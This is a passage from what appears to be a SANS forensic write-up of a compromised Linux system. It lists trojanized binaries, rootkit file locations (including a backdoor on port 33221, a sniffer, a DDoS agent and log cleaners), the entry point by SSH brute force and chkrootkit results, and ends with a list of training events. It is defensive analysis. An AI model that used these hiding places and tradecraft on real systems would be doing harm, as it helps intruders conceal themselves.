The following system files were added or replaced with trojans

```
/bin/ps
/bin/ls
/bin/netstat
/usr/sbin/xntps
/lib/libproc.so.2.0.0
/sbin/syslogd
```

The following files/directories were added, backdoor setup to listen on port 33221

```
/lib/liblip.so/con (ssh config file)
/lib/liblip.so/hk (ssh private key)
/lib/liblip.so/hk.pub (ssh public key)
/lib/liblip.so/sd (binary)
/lib/ldd.so/tkp (perl)              ----------------> variant of LinSniffer
```

/lib/ldd.so/tks (binary)
/lib/ldd.so/tksb ----------> another log cleaner?
/usr/man/man11/carko (ddos agent, binary)
/usr/man/man11/cf (binary)
/usr/man/man11/nc (binary)
/usr/man/man11/sshd-etc (binary) ----------> very similar locations as the ssh rootkit too)
/usr/man/man11/sshd-etc-ssh (binary)

/dev/ttyy11 (binary)
/dev/srd0 (text, but looks encrypted) ----------> **Our SSH rootkit used this too, so these two rootkits are similar**

Re-Hashing Integrity Of Our Images

Our last step with this investigation was to re-accomplish another MD5 hash for all of our images to ensure we didn't modify any of the evidence. A quick hash, and “diff” for each file showed no alterations -- our tools and procedures did not modify the evidence in any way.

Conclusions

Method of Compromise/Intruder Activity

I'm going to go back to our initial assumptions, questions, and facts we had about this incident and see how our final analysis brought everything together. But if I were to sum everything up in a few words, the intruder habits and processes were very lazy, loud, visible, clumsy -- yet, carefully choose a victim system rarely used and hardly noticed. The timestamps for the most part indicated a compromise around 27 Jul, but as early as 23 Jun. It's still a bit confusing why the cleanup scripts and actions were not accomplished during the installation of the rootkits, unless the intruder had no fear of being noticed (remember, system sitting in a corner collecting dust) or some sort of time modification was accomplished. Below is a quick snapshot of our findings;

- SSH was the entry point through a brute force attack against roots password. Evidence shows it's probably the application called 'haitateam' witch is an SSH brute forcer. It also contains an app called scan.sh for general probing.
- The Date of compromise depends on what trojan or rootkit we are talking about. Our analysis showed the initial compromise may have been on 23 Jun 2004 when the SSH rootkit was installed. The mYrk rootkit was installed on 28 Jul, followed by the OSF trojan a few days later.
- The system was unresponsive - We saw this occurred on 2 Aug as a result of the mYrk rootkit calling a space in memory not compatible with our kernel version. The system crash had two affects; the intruder was unable to clean

up all the tracks, but we were unable to recover all of the data either -- stale mate.

- Roots password did not work - We saw what roots password originally was, q1w2e3r4. However, we also saw in user okray's history file that he changed root's password. In fact, we ran crack on this hash I pulled from the shadow file and it took about 2 ½ weeks to crack-- so we definitely know it was changed.
- The NIC was in PROMISC mode - Pick a rootkit, all of them seemed to put the NIC in this mode. We saw a portless sniffer, desktop sniffer, web sniffer, and a 'linsniffer' variant. We also saw the NIC enters PROMISC mode during bootup.
- An IRC server was installed - On 31 Jul the BitchX IRC was installed as an RPMpkg
- Key system binaries were owned by user “okray” instead of “root” - We suspected this all the time, and we know the SSH rootkit was responsible. As a last check, I ran version 0.40 of the chkrootkit app, here's a snipit;

  Checking `login'... INFECTED
  Checking `ifconfig'... INFECTED
  Checking `ifconfig'... INFECTED
  Checking `basename'... INFECTED
  [.....]

- The system might have been infected with the linux.osf.8759 Trojan - We never saw how the system got infected, but we did see the intruder run the script to clean it. We also saw the intruder run 2 other utilities checking to see if either previous rootkits existed or if his rootkit could be detected.
- We know that the /var/log files have been modified (missing entries, timestamps do not match, etc). There were several scripts we recovered that can accomplish this, most notable “v” and 'wclean'.
- We found another rootkit hiding under the games directory that was a trojanized SSH server. After all of our analysis, it looked like this rootkit and mYrk were really similar. The backdoor for this sat on 33221.

References

'Scans of the Month', may 2001-2002
Project.honeynet.org/scans/

'Linux's loopback device', 2003-2004
www.trekweb.com/~jasonb/articles/linux_loopback.shtml

'Reverse Code Engineering', Lonstantin Rozinov, August 12, 2004

The Sleuth Kit Informer, Mar 15, 2003
Www.sleuthkit.org/informer, Issue #2

Law Enforcement and Forensic Examiner to Linux, 2004
Barry Grundy, ver 2.0.5

Attached Timeline

Last Updated: October 15th, 2018

Upcoming SANS Forensics Training

Mentor Session AW - FOR500	Washington, DC	Oct 22, 2018 - Oct 26, 2018	Mentor
Houston 2018 - FOR508: Advanced Digital Forensics, Incident Response, and Threat Hunting	Houston, TX	Oct 29, 2018 - Nov 03, 2018	vLive
SANS vLive - FOR500: Windows Forensic Analysis	FOR500 - 201810,	Oct 29, 2018 - Dec 19, 2018	vLive
SANS Houston 2018	Houston, TX	Oct 29, 2018 - Nov 03, 2018	Live Event
SANS Gulf Region 2018	Dubai, United Arab Emirates	Nov 03, 2018 - Nov 15, 2018	Live Event
SANS DFIRCON Miami 2018	Miami, FL	Nov 05, 2018 - Nov 10, 2018	Live Event
SANS Sydney 2018	Sydney, Australia	Nov 05, 2018 - Nov 17, 2018	Live Event
SANS Rome 2018	Rome, Italy	Nov 12, 2018 - Nov 17, 2018	Live Event
SANS Paris November 2018	Paris, France	Nov 19, 2018 - Nov 24, 2018	Live Event
SANS November Singapore 2018	Singapore, Singapore	Nov 19, 2018 - Nov 24, 2018	Live Event
SANS Austin 2018	Austin, TX	Nov 26, 2018 - Dec 01, 2018	Live Event
SANS San Francisco Fall 2018	San Francisco, CA	Nov 26, 2018 - Dec 01, 2018	Live Event
SANS Stockholm 2018	Stockholm, Sweden	Nov 26, 2018 - Dec 01, 2018	Live Event
SANS Khobar 2018	Khobar, Kingdom Of Saudi Arabia	Dec 01, 2018 - Dec 06, 2018	Live Event
SANS Nashville 2018	Nashville, TN	Dec 03, 2018 - Dec 08, 2018	Live Event
SANS Frankfurt 2018	Frankfurt, Germany	Dec 10, 2018 - Dec 15, 2018	Live Event
SANS Cyber Defense Initiative 2018	Washington, DC	Dec 11, 2018 - Dec 18, 2018	Live Event
Cyber Defense Initiative 2018 - FOR500: Windows Forensic Analysis	Washington, DC	Dec 13, 2018 - Dec 18, 2018	vLive
Cyber Defense Initiative 2018 - FOR610: Reverse-Engineering Malware: Malware Analysis Tools and Techniques	Washington, DC	Dec 13, 2018 - Dec 18, 2018	vLive
Cyber Defense Initiative 2018 - FOR508: Advanced Digital Forensics, Incident Response, and Threat Hunting	Washington, DC	Dec 13, 2018 - Dec 18, 2018	vLive
Cyber Defense Initiative 2018 - FOR585: Advanced Smartphone Forensics	Washington, DC	Dec 13, 2018 - Dec 18, 2018	vLive
Cyber Defense Initiative 2018 - FOR572: Advanced Network Forensics: Threat Hunting, Analysis, and Incident Response	Washington, DC	Dec 13, 2018 - Dec 18, 2018	vLive
Mentor Session - FOR500	Phoenix, AZ	Jan 11, 2019 - Feb 15, 2019	Mentor
SANS Amsterdam January 2019	Amsterdam, Netherlands	Jan 14, 2019 - Jan 19, 2019	Live Event
SANS Threat Hunting London 2019	London, United Kingdom	Jan 14, 2019 - Jan 19, 2019	Live Event
SANS Miami 2019	Miami, FL	Jan 21, 2019 - Jan 26, 2019	Live Event
Cyber Threat Intelligence Summit & Training 2019	Arlington, VA	Jan 21, 2019 - Jan 28, 2019	Live Event
SANS vLive - FOR610: Reverse-Engineering Malware: Malware Analysis Tools and Techniques	FOR610 - 201901,	Jan 21, 2019 - Feb 27, 2019	vLive
Mentor Session - FOR585	Tampa, FL	Jan 24, 2019 - Mar 07, 2019	Mentor
SANS Security East 2019	New Orleans, LA	Feb 02, 2019 - Feb 09, 2019	Live Event
SANS Anaheim 2019	Anaheim, CA	Feb 11, 2019 - Feb 16, 2019	Live Event